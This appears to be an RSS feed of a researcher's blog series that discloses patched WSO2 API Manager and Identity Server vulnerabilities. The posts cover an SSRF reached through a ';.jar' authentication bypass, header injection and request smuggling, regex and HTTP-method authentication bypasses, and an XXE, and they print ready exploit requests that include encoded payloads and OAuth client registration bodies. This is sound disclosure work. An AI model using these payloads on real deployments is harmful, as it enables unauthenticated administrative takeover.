<![CDATA[crnkovic.dev]]>https://crnkovic.dev/https://crnkovic.dev/favicon.pngcrnkovic.devhttps://crnkovic.dev/Ghost 6.21Sun, 22 Mar 2026 08:20:40 GMT60<![CDATA[WSO2 #3: Server-side request forgery]]>https://crnkovic.dev/wso2-server-side-request-forgery/68b017944ce98734fb7a7195Tue, 28 Oct 2025 05:58:26 GMT

This is my series on vulnerabilities I discovered in WSO2 software in 2025:

  1. 404 to arbitrary file read
  2. The many ways to bypass authentication
  3. Server-side request forgery

CVE-2025-5350 and CVE-2025-5605 combined make a pre-auth server-side request forgery (SSRF) vulnerability in WSO2 API Manager, WSO2 Identity Server, and other WSO2 products.


Credit goes to LEXFO's nol for discovering this vulnerability before me. You can read their write-up here. Unfortunately, it seems that WSO2 did not begin to properly address the vulnerability until my disclosure, which came several months later.


Most WSO2 products include an ancient JSP file named WSRequestXSSproxy_ajaxprocessor.jsp, even though modern versions don't use or reference the file. It's a leftover artefact.

Reading the code, which has hardly changed since 2008, the script seems designed for one purpose: server-side request forgery. It makes a HTTP request to a URL supplied by a query parameter, and outputs the response.

Until 2020, it was possible to trigger WSRequestXSSproxy_ajaxprocessor.jsp by simply accessing its path directly, without any authentication. This was realised in 2020, so WSO2 issued a security advisory and patch for the problem, labelled WSO2-2020-0747.

However, the fix was insufficient.

What the patch did was make it so that you needed to be authenticated in order to access that JSP file. However, when analysing the source code responsible for that authentication, these lines stuck out to me:

public boolean handleSecurity(...) {
   ...
   if(requestedURI.endsWith(".jar") || requestedURI.endsWith(".class")) {
      log.debug("Skipping authentication for .jar files and .class file." + requestedURI);
      return true;
   }
   ...
}

CarbonSecuredHttpContext.java

The code here is saying that whenever the request path ends with .jar or .class, then don't worry about authentication.

This variable requestedURI doesn't include the query component of the URL, so a simple trick like WSRequestXSSproxy_ajaxprocessor.jsp?.jar wouldn't work.

However, WSO2 developers seem to have forgotten about the existence of matrix parameters. By adding ;.jar to any URL protected by this handleSecurity function, authentication is successfully skipped.

This allows attackers to again access WSRequestXSSproxy_ajaxprocessor.jsp directly, without authentication, to trigger the SSRF:

https://[HOST]/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar
  ?uri=<BASE64_of_target_URL>
  &pattern=~
  &username=~
  &password=~
  &payload=~

Basic exploitation of CVE-2025-5350

This .jar bypass is assigned CVE-2025-5605, and the underlying SSRF vulnerability is assigned CVE-2025-5350.

But why?

The hard-coded 'bypass authentication when the path ends in .jar' logic has been in WSO2's codebase since 2013. It's there because Java applets were a thing an incredibly long time ago, and WSO2 wanted to continue supporting them.

Requiring a valid session cookie to download applets caused unexpected problems, so these file extensions were whitelisted.

Basic usage of the SSRF

The WSRequestXSSproxy_ajaxprocessor.jsp code is relatively short, but not very intuitive. You can provide it the query parameters uri, pattern, username, password, and payload, however each value must be base64-encoded, and if you don't want to provide values for the latter four, you'll need to use ~ to represent null.

Additionally, you will gain more control over the HTTP request using the options parameter, which accepts a series of key:value settings, base64-encoded and comma-separated (the encoding comes first).

The SSRF is heavily based around SOAP and XML. Every response is converted to XML, and if you want to make a HTTP request with a JSON body, you need to provide it an XML payload, which it will convert to JSON for you.

By default, the implied HTTP request method is POST. Basic usage of the SSRF using only a uri value will trigger a request with an empty SOAP envelope like so:

POST / HTTP/1.1
Host: whatever
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""
User-Agent: Axis2

<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body />
</soapenv:Envelope>

A request to http://whatever using the SSRF

If you want to change that to a GET, you can provide a base64-encoded HTTPMethod:GET option; i.e.:

GET /carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar?uri=<Base64URL>&options=SFRUUE1ldGhvZDpHRVQ=&pattern=~&username=~&password=~&payload=~ HTTP/1.1
Host: wso2am

HTTPMethod:GET base64-encoded is SFRUUE1ldGhvZDpHRVQ=

With that addition, the request submitted by WSO2 will look like:

GET / HTTP/1.1
Host: whatever
SOAPAction: ""
User-Agent: Axis2

A request made with the HTTPMethod:GET option

Because the SSRF is heavily based around SOAP, it expects responses to well-formed XML or JSON. If the response is instead HTML, or an image, etc., then rather than showing you the response, you'll receive an XML parser error. However, this can usually be solved with a second vulnerability:

Injecting custom headers using a line-feed injection vulnerability

Used as intended, providing an action:something option will cause the WSO2 HTTP client to make a request with a SOAPAction: "something" header.

As there's no input sanitisation for these SOAPAction values, this can be used to insert custom headers into the outbound request. For instance, to inject Hello: World, you would use:

action:x\r\nHello: World\r\nx: 

Injecting the header Hello: World using SOAPAction

This would cause the outbound request to look like:

POST / HTTP/1.1
Content-Type: application/xml; charset=UTF-8
SOAPAction: x
Hello: World
x:
...

Reading non-XML responses with the Range header

While injecting custom headers is useful, it might not be immediately apparent how this solves the issue of reading non-XML/JSON responses.

Well, most modern web servers support the Range request header, allowing HTTP clients to ask the server to skip some bytes.

If you send a request with a Range: bytes=1-1 header, the response will only include the first byte. If you trigger this request via the SSRF vulnerability, you'll see an XML parser error that looks like this:

org.apache.axis2.AxisFault: com.ctc.wstx.exc.WstxUnexpectedCharException: Unexpected character 'H' (code 72) in prolog; expected '<'
 at [row,col {unknown-source}]: [1,1]

XML parser error exposing the letter H

With that response, it's obvious that the first letter is H. Next, if you make the same request with Range: bytes=2-2, you'll get a different parser error: this time, it will complain that e is unexpected. Then you'll hear that l is unexpected, and so on, until, finally, you get a 416 Range Not Satisfiable response, indicating that you've reached the end.

org.apache.axis2.AxisFault: Transport error: 416 Error: Range Not Satisfiable

The error message when there are no more characters to read

You can string all those parser errors together to reconstruct the original document. This trick turns what might otherwise be a semi-blind SSRF into a full-read SSRF.

Let's take it further:

Request smuggling with HTTP pipelining

If you need even further control over the request made by the SSRF, you can take advantage of HTTP pipelining. Using the line-feed injection issue, you can fit a new, totally custom HTTP request into the action parameter.

This is useful when you want to trigger the server to make an unusual or malformed HTTP request. For example, one of the authentication bypass vulnerabilities I found in WSO2 API Manager needs a request with its HTTP method containing lowercase letters, e.g., Post. You can read about this vulnerability, a form of CVE-2025-10611, in my previous post.

In production environments, WSO2 servers typically sit behind a reverse proxy such as nginx, Apache, or a proprietary CDN, load balancer, or WAF. These front-end servers will normally decline any requests with a strange, lowercase method, before they reach the WSO2 server, thwarting such an attack.

Consider an action value of:

action:x\r\nHost: 127.0.0.1:9443\r\n\r\nPost /keymanager-operations/dcr/register HTTP/1.1\r\nHost: 127.0.0.1:9443\r\nContent-Type: application/json\r\nContent-Length: 215\r\n\r\n{\n  \"client_name\": \"B1Q7bt651Q7bt6T\",\n  \"ext_application_owner\": \"admin\",\n  \"grant_types\": [\n    \"client_credentials\"\n  ],\n  \"ext_param_client_id\": \"B1Q7bt651Q7bt6T\",\n  \"ext_param_client_secret\": \"iHy5aHRbkwztsvx\"\n}x: 

Smuggling a HTTP request inside SOAPAction

This can be encoded and submitted in the request:

GET /carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar?uri=aHR0cHM6Ly8xMjcuMC4wLjE6OTQ0My8%3D&pattern=%7E&username=%7E&password=%7E&payload=%7E&options=SFRUUE1ldGhvZDpHRVQ%3D%2CYWN0aW9uOngNCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQoNClBvc3QgL2tleW1hbmFnZXItb3BlcmF0aW9ucy9kY3IvcmVnaXN0ZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24NCkNvbnRlbnQtTGVuZ3RoOiAyMTUNCg0KewogICJjbGllbnRfbmFtZSI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfYXBwbGljYXRpb25fb3duZXIiOiAiYWRtaW4iLAogICJncmFudF90eXBlcyI6IFsKICAgICJjbGllbnRfY3JlZGVudGlhbHMiCiAgXSwKICAiZXh0X3BhcmFtX2NsaWVudF9pZCI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfcGFyYW1fY2xpZW50X3NlY3JldCI6ICJpSHk1YUhSYmt3enRzdngiCn14OiA%3D HTTP/1.1
Host: wso2am

Using the SSRF vulnerability to submit the base64-encoded malicious SOAPAction

This will cause the WSO2 server's to connect to itself at 127.0.0.1:9443 and make two HTTP requests over a single TCP connection:

GET / HTTP/1.1
Content-Type: text/xml; charset=UTF-8
SOAPAction: "x
Host: 127.0.0.1:9443

Post /keymanager-operations/dcr/register HTTP/1.1
Host: 127.0.0.1:9443
Content-Type: application/json
Content-Length: 215

{
  "client_name": "B1Q7bt651Q7bt6T",
  "ext_application_owner": "admin",
  "grant_types": [
    "client_credentials"
  ],
  "ext_param_client_id": "B1Q7bt651Q7bt6T",
  "ext_param_client_secret": "iHy5aHRbkwztsvx"
}x: "
User-Agent: Axis2
Host: 127.0.0.1:9443

(The portion after } will break the connection, as x: " is treated as the beginning of a third request, and clearly that isn't a valid request line.)

After making that request via WSRequestXSSproxy_ajaxprocessor.jsp, you might only receive the response for the first request. However, if you quickly use the SSRF endpoint again to request a URL of same host, you'll get the response to the smuggled request, because the built-in HTTP client will reuse the existing connection, which has been knocked out of sync.

Extending the chain in WSO2 API Manager ≤ 4.2.0

It's also possible to make this request from the public gateway, by adding CVE-2025-2905 to the mix. This is useful when the management console is not exposed to the internet.

e.g.:

POST /services/WorkflowCallbackService HTTP/1.1
Host: example.net
SOAPAction: "urn:resumeEvent"
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:ns="http://callback.workflow.apimgt.carbon.wso2.org">
  <soapenv:Header/>
  <soapenv:Body>
    <ns:resumeEvent>
      <ns:workflowReference></ns:workflowReference>
      <ns:status>APPROVED</ns:status>
      <ns:description>
        <![CDATA[<!DOCTYPE blah SYSTEM "https://127.0.0.1:9443/carbon/admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp;a=.jar?uri=aHR0cHM6Ly8xMjcuMC4wLjE6OTQ0My8%3D&pattern=%7E&username=%7E&password=%7E&payload=%7E&options=SFRUUE1ldGhvZDpHRVQ%3D%2CYWN0aW9uOngNCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQoNClBvc3QgL2tleW1hbmFnZXItb3BlcmF0aW9ucy9kY3IvcmVnaXN0ZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMTo5NDQzDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24NCkNvbnRlbnQtTGVuZ3RoOiAyMTUNCg0KewogICJjbGllbnRfbmFtZSI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfYXBwbGljYXRpb25fb3duZXIiOiAiYWRtaW4iLAogICJncmFudF90eXBlcyI6IFsKICAgICJjbGllbnRfY3JlZGVudGlhbHMiCiAgXSwKICAiZXh0X3BhcmFtX2NsaWVudF9pZCI6ICJCMVE3YnQ2NTFRN2J0NlQiLAogICJleHRfcGFyYW1fY2xpZW50X3NlY3JldCI6ICJpSHk1YUhSYmt3enRzdngiCn14OiA%3D">]]>
      </ns:description>
    </ns:resumeEvent>
  </soapenv:Body>
</soapenv:Envelope>

SSRF-to-SSRF-to-auth-bypass chain.


Disclosure

  • 2025-03-25: LEXFO reports the vulnerability to WSO2 (per their post).
  • 2025-08-26: I notify WSO2 of the discovery.
  • 2025-09-08: The vulnerability is fixed.
  • 2025-09-19: WSO2 tells me that the issues were reported by another researcher.
  • 2025-09-30: WSO2 notifies their paying users of the fix and provides a patch.
  • 2025-10-24: WSO2 publishes public advisory.
]]>
<![CDATA[WSO2 #2: The many ways to bypass authentication in WSO2 products]]>https://crnkovic.dev/wso2-the-authentication-bypasses/68ed9d7b9c4fed34232fe4d4Tue, 28 Oct 2025 05:56:58 GMT

This is my series on vulnerabilities I discovered in WSO2 software in 2025:

  1. 404 to arbitrary file read
  2. The many ways to bypass authentication
  3. Server-side request forgery

CVE-2025-9152, CVE-2025-10611, and CVE-2025-9804 are critical authentication bypass and privilege escalation vulnerabilities I discovered in WSO2 API Manager and WSO2 Identity Server.

In this post, I detail three full authentication bypasses I found in WSO2 API Manager and WSO2 Identity Server, as well as one user-to-admin privilege escalation vulnerability.


I've never built anything in Java, so I'm not sure if what I'm about to describe is standard practice in Java-based web applications. However, I hope that it isn't, because it seems like a bad idea:

WSO2 API Manager and WSO2 Identity Server enforce access control using a configuration file that describes, for each API endpoint, a regular expression that covers a request path, and a set of permissions needed to access that path.

<Resource context="(.*)/api/server/v1/applications(.*)" secured="true" http-method="POST">
  <Permissions>/permission/admin/manage/identity/applicationmgt/create</Permissions>
  <Scopes>internal_application_mgt_create</Scopes>
</Resource>
<Resource context="(.*)/api/server/v1/applications(.*)" secured="true" http-method="PUT, PATCH">
  <Permissions>/permission/admin/manage/identity/applicationmgt/update</Permissions>
  <Scopes>internal_application_mgt_update</Scopes>
</Resource>
<Resource context="(.*)/api/server/v1/applications(.*)" secured="true" http-method="DELETE">
  <Permissions>/permission/admin/manage/identity/applicationmgt/delete</Permissions>
  <Scopes>internal_application_mgt_delete</Scopes>
</Resource>

This is what I'm talking about (repository/conf/identity/identity.xml) [1]

This list of regular expressions and permissions lives in a different place to the actual code of the API endpoints. In fact, it's in a different git repository.

That seems like a bad idea: I would think that it would probably be safer to have the set of permissions sit right next to the code, or even inside of it, and to not use regular expressions at all for this purpose. Regex mistakes are so common that they have their own vulnerability class: CWE-185: Incorrect Regular Expression.

What if a WSO2 developer gets a regular expression wrong? Or what if they make a change to the API code but forget to update the configuration file? On the hunt for these potential mistakes, I started testing the internal WSO2 APIs against the configuration file, and it didn't take long to discover:


Authentication bypass in WSO2 API Manager ≥ 3.2.0 (CVE-2025-9152)

WSO2 API Manager implements OAuth 2.0 for authentication. The settings around OAuth clients are managed with a super-sensitive internal API that lives under /keymanager-operations/.

A compromise of this API would be existential, as an attacker could use it to introduce their own authentication mechanism with custom credentials, allowing them to grant themselves administrative access. It is very important for those regexes to be accurate and complete.

Unfortunately, the regular expressions in the configuration document fail to capture all the important endpoints under /keymanager-operations/. To my horror, I noticed some endpoints aren't included at all, and others can have their regular expressions bypassed with a simple trailing slash.

For instance, the API endpoint at /keymanager-operations/dcr/register/<client_id> allows you to read everything about a particular OAuth client, including its very-very-sensitive client_secret. This endpoint is missing from the configuration entirely, meaning it has no access control rules. It can be accessed without any authentication whatsoever.

As another example, although the configuration file says that /keymanager-operations/dcr/register requires certain administrative privileges to access, the regular expression fails to capture /keymanager-operations/dcr/register/, which hits the same endpoint. That allows an unauthenticated attacker to register a new OAuth client, creating a new mechanism to log in to WSO2 API Manager.

<Resource context="(.*)/keymanager-operations/dcr/register" secured="true"
   http-method="POST"
>
<Permissions>/permission/admin/manage/identity/applicationmgt/create</Permissions>
    <Scopes>internal_application_mgt_create</Scopes>
</Resource>

This entry doesn't capture a trailing slash

Either of these mistakes is a disaster:

Granting yourself admin access with client_credentials

When a WSO2 API Manager OAuth client supports the Client Credentials grant type, an attacker with the valid client ID and secret pair can generate an access token with arbitrary privileges.

By default, the built-in OAuth clients in WSO2 API Manager don't support this grant type, however a single unauthenticated PUT request to one of those free-for-all endpoints can change that.

There are multiple ways to exploit CVE-2025-9152: an attacker can register their own OAuth client, or they can modify an existing one. Both paths lead to total compromise.

One exploitation of CVE-2025-9152 looks like this:

  1. The attacker finds a WSO2 API Manager client ID, which is public by design. (It's in the URL bar when you click 'Log in'.)
  2. They make a GET /keymanager-operations/dcr/register/<client_id> to leak the client_secret.
  3. If the OAuth client doesn't support client_credentials already, the attacker makes it so with an unauthenticated PUT request to the same endpoint, carrying the body: {"grant_types": ["client_credentials"]}.
  4. Now, the attacker makes a request to POST /oauth2/token, authenticating with the client_id and client_secret pair to issue an access token with an arbitrary scope, e.g., grant_type=client_credentials&scope=apim:admin+apim:api_create+any-other-scope-goes-here.
  5. That endpoint responds with an access token, which grants total administrative access across all of the REST APIs built into WSO2 API Manager.

This flaw allows an unauthenticated attacker to gain total administrative access in just a few requests.

Admin access is game over in WSO2

In these WSO2 products, once you have an administrator-privileged account, you have access to read, modify, or delete everything. For example, you can arbitrarily change the passwords of other users.

Best of all, you can virtually always upgrade to remote code execution by taking your pick of the many known admin-to-RCE vulnerabilities in WSO2 software. After all, who patches CVEs that require administrator access to exploit?

It's not the first time these regexes have been broken

WSO2's response to my discovery was to tighten that list of regular expressions. While that solves this bug, I don't believe it gets at the root of the problem.

A few weeks after reporting this auth bypass, I came across the advisory for WSO2-2022-2177: a critical 'broken access control' vulnerability affecting WSO2 API Manager, WSO2 Identity Server, and their open banking product.

(Like many critical WSO2 vulnerabilities, this one doesn't have a CVE ID, however you might find it on WSO2's website if you already know what it is you're looking for.)

Back in 2022, another researcher[2] figured out that if you just add ; somewhere in a path, you can avoid hitting any of the regular expressions, effectively bypassing virtually all access controls. For instance, the API endpoint /scim2/Users allows administrators to access and modify all user data in WSO2 Identity Server. The researcher figured out that /scim2;/Users opens that up to everyone.

WSO2's response to that vulnerability was not to rethink the whole idea of using path regular expressions for access control. Instead, they doubled down and introduced a new expression:

private static final String URL_PATH_FILTER_REGEX = "(.*)/((\\.+)|(.*;+.*)|%2e)/(.*)";
private static final Pattern URL_MATCHING_PATTERN = Pattern.compile(URL_PATH_FILTER_REGEX);
...
private void validateRequestURI(String url) throws AuthenticationFailException {
  if (url != null && URL_MATCHING_PATTERN.matcher(url).matches()) {
    throw new AuthenticationFailException("Given URL contain un-normalized content. URL validation failed for "
      + url);
  }
}

The important part of the patch for WSO2-2022-2177

That new regular expression blocks paths that match (.*)/((\.+)|(.*;+.*)|%2e)/(.*), which covers bypasses like /scim2;/, /scim2/Me/../Users, and more variants of the same trick.

There's a huge problem with that regex, which I'll get to later.


Method-based authentication bypass in WSO2 API Manager, WSO2 Identity Server (CVE-2025-10611)

I mentioned before that the entries contain two things: the path regex and the set of required permissions. However, there is really a third item that's very important: the HTTP method.

It makes sense to ask for different permissions depending on the method. For example, a particular endpoint might allow anyone to read an item (with a GET request), but updating and deleting (POST, PATCH, DELETE, etc.) might be reserved for elevated users.

For instance, take another look at this snippet (note the http-method="POST"):

<Resource context="(.*)/keymanager-operations/dcr/register" secured="true"
   http-method="POST"
>
<Permissions>/permission/admin/manage/identity/applicationmgt/create</Permissions>
    <Scopes>internal_application_mgt_create</Scopes>
</Resource>

The entry protecting /keymanager-operations/dcr/register

The above entry states that all POST requests to /keymanager-operations/dcr/register require administrator authentication. Requests to this path with other methods, like GET, PUT, etc., don't need authentication, but they also don't land anywhere, as this /register endpoint only handles POST.

The vulnerability here is equally as devastating as CVE-2025-9152:

To match an incoming HTTP request to its corresponding <Resource>, the request path and method are compared against each entry using the equals method in ResourceConfigKey.java:

public boolean equals(Object o) {
    if (this == o) return true;
    if (o == null || getClass() != o.getClass()) return false;
    ResourceConfigKey that = (ResourceConfigKey) o;
    Matcher matcher = pattern.matcher(that.contextPath);
    if (!matcher.matches()) {
        return false;
    }
    if (httpMethod.equalsIgnoreCase("all")) {
        return true;
    }
    return httpMethod.contains(that.httpMethod);
}

ResourceConfigKey.java

The equals() method returns false if the path doesn't match the regular expression. Otherwise, it inspects the HTTP method:

When the entry's http-method attribute is all, meaning the <Resource> covers all HTTP methods indiscriminately, equals() returns true.

Otherwise, the code checks whether the <Resource>'s http-method string contains the incoming request's method. It uses .contains here rather than .equals because sometimes an entry spans multiple methods; e.g., http-method="PUT, PATCH".

The big problem: .contains is case-sensitive.

A <Resource http-method="POST"> only matches on all-caps POST. If you whisper the method in lowercase, equals() gives false. This allows an attacker to provide an alternatively cased method, e.g., Post versus POST, to totally bypass the imposed restriction.

Importantly, the method is normalised later on. When the HTTP request is greeted at this security checkpoint, Post and POST are distinct, however by the time it reaches the API request handler, there's no discernible difference between the two. Requests with Post, post, and PoST will reach the same endpoint as POST.

That makes it possible to invoke the sensitive /keymanager-operations/dcr/register endpoint to register a new OAuth client without any authentication whatsoever, and without any path trickery:

Post /keymanager-operations/dcr/register HTTP/1.1

Registering a new OAuth client. This time without the trailing slash.

As explained before, the ability to register a new OAuth client leads to total compromise; its impact is the same as CVE-2025-9152.

In addition, this method-based bypass opens up a range of miscellaneous authentication bypass and privilege escalation problems in both WSO2 API Manager and WSO2 Identity Server.


Path-based authentication bypass in WSO2 API Manager, WSO2 Identity Server (CVE-2025-10611)

This is the same CVE ID as the above, as CVE-2025-10611 encompasses two vulnerabilities. While similar in that they each enable full authentication bypass in WSO2 Identity Server and WSO2 API Manager, they need to be explained individually.

The other half of CVE-2025-10611 similarly allows an attacker to invoke sensitive endpoints without authentication. In practice, this lets an attacker go from without an account to a system administrator in one or two requests.

For demonstration, I will pick on the WSO2 Identity Server API endpoint /scim2/Users. Briefly mentioned earlier, this API will let an administrator register a new user. (A subsequent request to another /scim2/ endpoint can upgrade that user to a server administrator.)

Here's the entry protecting /scim2/Users:

<Resource context="(.*)/scim2/Users(.*)" secured="true" http-method="POST">
  <Permissions>/permission/admin/manage/identity/usermgt/create</Permissions>
    <Scopes>internal_user_mgt_create</Scopes>
</Resource>

The entry protecting /scim2/Users in the default identity.xml

First, you might notice the http-method="POST". Yes, this entry is vulnerable to the method-based bypass too, with a caveat[3], however I can also reach it without touching the HTTP method.

An attacker's first step is to take a wider look at the identity.xml configuration to select a totally unrelated resource that doesn't require any authentication.[4] Here's one:

<Resource context="(.*)/.well-known/openid-configuration(.*)" secured="false" http-method="all"/>

The entry saying that .well-known/openid-configuration doesn't need authentication

This entry says that unauthenticated requests to /.well-known/openid-configuration are allowed. That makes sense, because that's intended to be public. What doesn't make as much sense, however, is the (.*) at the beginning of that expression. Functionally, this means that requests to /whatever/.well-known/openid-configuration don't need authentication either.

But /whatever/.well-known/openid-configuration leads to a 404, so who cares?

The trick to the second half of CVE-2025-10611 is to convince the WSO2 server that you're requesting the safe thing, while you're doing something entirely different.

In the distant past, this used to work:

POST /scim2;/Users HTTP/1.1

WSO2 Identity Server auth bypass before 2022

However, that was fixed with the patch to WSO2-2022-2177 that I mentioned earlier, which added a regular expression to prevent these sorts of bypasses:

(.*)/((\.+)|(.*;+.*)|%2e)/(.*)

The regular expression from WSO2-2022-2177's patch

In plain English, what that regular expression is saying is that you can't have a slash at any point after a semicolon. ;/ is rejected, as is ;a=a/, and the above ...;/.well-known.

To find the bypass, we need to step back and take a wider look at the logic in WSO2's authentication gate, paying close attention to the ordering of events. Here's the relevant snippets of WSO2's AuthenticationValve.java, responsible for these defences:

private static final String URL_PATH_FILTER_REGEX = "(.*)/((\\.+)|(.*;+.*)|%2e)/(.*)";
private static final Pattern URL_MATCHING_PATTERN = Pattern.compile(URL_PATH_FILTER_REGEX);
...
private void validateRequestURI(String url) throws AuthenticationFailException {
    if (url != null && URL_MATCHING_PATTERN.matcher(url).matches()) {
        throw new AuthenticationFailException("Given URL contain un-normalized content. URL validation failed for "
            + url);
    }
}
...
public void invoke(Request request, Response response) throws IOException, ServletException {
    ...
    validateRequestURI(request.getRequestURI());
    String normalizedRequestURI = AuthConfigurationUtil.getInstance().getNormalizedRequestURI(request.getRequestURI());
    ResourceConfig securedResource = authenticationManager.getSecuredResource(
        new ResourceConfigKey(normalizedRequestURI, request.getMethod()));
    ...
}

AuthenticationValve.java (trimmed by me it to its essentials for illustration)

The method invoke is where the enforcement takes place. As you can see, it first calls validateRequestURI, which is where the request path is checked against that regular expression. If the regex matches, the request is rejected.

After the regular expression test, but before the task of reconciling the request with its corresponding <Resource> begins, something important happens: the request path is 'normalised'. Here is getNormalizedRequestURI():

public String getNormalizedRequestURI(String requestURI) throws URISyntaxException, UnsupportedEncodingException {
    if (requestURI == null) {
        return null;
    }
    String decodedURl = URLDecoder.decode(requestURI, StandardCharsets.UTF_8.name());
    return new URI(decodedURl).normalize().toString();
}

The function getNormalizedRequestURI from AuthConfigurationUtil.java

This function uses Java's URI library to standardise the request path, removing unnecessary ../ segments, which prevents simple path traversal techniques. It also does something interesting: it undoes any superfluous encoding of characters that don't need to be encoded. For example, the path /hello%2Fworld is normalised to /hello/world.

With that in mind, let's change the payload:

POST /scim2/Users/;%2F.well-known%2Fopenid-configuration HTTP/1.1

WSO2 Identity Server auth bypass in 2025

That's it. The path doesn't hit the regular expression, and it's reconciled incorrectly with the unprotected resource. WSO2 Identity Server's security guard believes that you're after openid-configuration, but the request is actually routed to /scim2/Users. (Everything after the semicolon, which denotes a matrix parameter, is ignored by the server.)

With that request, you can register a new user, and with a second similar request, you can make that user an administrator. Game over.


Privilege escalation in WSO2 API Manager ≤ 3.1.0 (CVE-2025-9804)

Before the introduction of the /keymanager-operations/ API, there was a similar SOAP-based API that existed under /services/APIKeyMgtSubscriberService. This API essentially did the same thing: the creation and management of OAuth clients. I presume that /keymanager-operations/ was its successor.

You can't access APIKeyMgtSubscriberService without valid credentials; you need to be a user. However, you don't need any special privileges beyond that: you only need the ability to log in.

This allows low-level users to gain administrative access in a procedure again almost identical to CVE-2025-9152.

Matters become worse when you realise that many WSO2 API Manager deployments allow self-signup, and even when self-signup is manually disabled, there are two distinct different vulnerabilities that allow someone to sign up anyway. The latest of those vulnerabilities, CVE-2024-7097, affected all versions of WSO2 API Manager before April 2024 and remains highly exploitable today.

(CVE-2025-9804 will come up again later in this series, as it's an umbrella for various unrelated insufficient-authorisation bugs in WSO2 software.)


Aftermath

After reporting these issues and many others to WSO2, they asked me to stop testing their products and declared they've "allocated a dedicated team to work under war room mode" to address their vulnerabilities.

Following your consistent efforts, we have decided to conduct a thorough review of our admin services and legacy code bases to ensure that all implementations align with security best practices. To carry out this initiative, we have allocated a dedicated team to work under war room mode.

In the meantime, we kindly request you to hold off on testing activities until our analysis is completed. Once the review is finalized, you may resume your testing and report any gaps or findings we may have overlooked.

We appreciate your understanding and cooperation in this matter.

WSO2's email to me on 26 August 2025

I disregarded the request and reported more critical issues later that day.


Notes

[1] This configuration can alternatively be defined in deployment.toml with an equivalent syntax.

[2] Rick Roane.

[3] WSO2 Identity Server is a bit different to WSO2 API Manager in that requests that don't match any <Resource> are rejected, whereas in WSO2 API Manager they are allowed. Therefore, in order to reach an endpoint with the lowercase-method bypass without any authentication whatsoever, it must be used in conjunction with the path-based bypass. The method-based auth bypass on its own exposes various major privilege escalation issues in WSO2 Identity Server, but not a complete authentication bypass.

[4] The chosen unprotected resource needs to come before the protected resource in order for this to work. Otherwise, the request will be matched with the correct entry before it's tested against the decoy.


Disclosure

  • 2025-08-19: Notified WSO2 of the first issue, CVE-2025-9152.
  • 2025-08-25: Notified WSO2 of the vulnerability affecting versions ≤ 3.1.0, CVE-2025-9804.
  • 2025-09-04: WSO2 notifies their users of the first issue, providing a patch for CVE-2025-9152. Open source users will be told of the patch 40 days later.
  • 2025-08-28: WSO2: "The team is currently operating in war room mode to complete the permanent resolution."
  • Approx. 2025-09-01: I begin making submissions to bug bounty programs variously exploiting both halves of CVE-2025-10611. One of the recipients of my research passes along the information to WSO2.
  • 2025-09-18: I notice code changes on GitHub that address CVE-2025-10611. I reach out to WSO2; they confirm that they've been made aware.
  • 2025-09-30 or earlier: WSO2 notifies their paying users of CVE-2025-10611 and CVE-2025-9804.
  • 2025-10-17: WSO2 publishes security advisories for the general public.
]]>
<![CDATA[WSO2 #1: 404 to arbitrary file read]]>https://crnkovic.dev/wso2-404-to-arbitrary-file-read/682fb29082b9ff13f4b63514Tue, 28 Oct 2025 05:55:31 GMT

This is my series on vulnerabilities I discovered in WSO2 software in 2025:

  1. 404 to arbitrary file read
  2. The many ways to bypass authentication
  3. Server-side request forgery

CVE-2025-2905 is a blind XXE vulnerability in WSO2 API Manager and other WSO2 products dependent on WSO2-Synapse.

This is the first bug I found in WSO2 software. As you will see from posts in this series that follow this, it's hardly my most impactful find, but it was one of the more unexpected. That's mainly because of where it first showed up: a web server's default 404 response.


First, what is WSO2?

WSO2 makes enterprise web application software. They have many products, most of which share a common codebase.

This vulnerability impacts at least six WSO2 products. However, the subject of this post will be WSO2 API Manager, as this is where I first discovered the bug, and it happens to be one of WSO2's more popular products.

WSO2 API Manager

WSO2 API Manager is an API gateway and lifecycle management platform. It's sometimes compared to Kong or Apigee.

In WSO2 API Manager, there are two main components: the management console and the API gateway. This vulnerability affects the gateway. On the gateway, WSO2 API Manager brings in HTTP requests and forwards them to backend API servers. Common web servers like nginx and Apache can of course do the same thing; however, WSO2 adds features like authentication, rate limiting, and, most importantly, a fancy point-and-click user interface for teams to deploy and manage their APIs, i.e., the management console.

WSO2 API Manager is built on top of Apache Synapse, a Java mediation framework and part of the Apache Axis2 ecosystem. However, WSO2 uses their own forks of these Apache dependencies, which introduces miscellaneous features used only by the WSO2 product family.

A WSO2 diagram explaining API Manager. I've erased components unrelated to the vulnerability (original here).

WSO2's very insecure 404 Not Found

In WSO2 API Manager, when you request a path that doesn't exist, you will receive a 404 response that looks like this:

<am:fault xmlns:am="http://wso2.org/apimanager">
    <am:code>404</am:code>
    <am:type>Status report</am:type>
    <am:message>Not Found</am:message>
    <am:description>The requested resource (/whatever) is not available.</am:description>
</am:fault>

The default 404 in WSO2 API Manager ≤ 2.0.0

This response is defined as a Synapse 'sequence' in the file synapse-configs/default/sequences/main.xml. Specifically, the format is described using a <payloadFactory> element:

<payloadFactory>
    <format>
        <am:fault xmlns:am="http://wso2.org/apimanager">
            <am:code>404</am:code>
            <am:type>Status report</am:type>
            <am:message>Not Found</am:message>
            <am:description>The requested resource (/$1) is not available.</am:description>
        </am:fault>
    </format>
    <args>
        <arg expression="$axis2:REST_URL_POSTFIX" />
    </args>
</payloadFactory>

main.xml

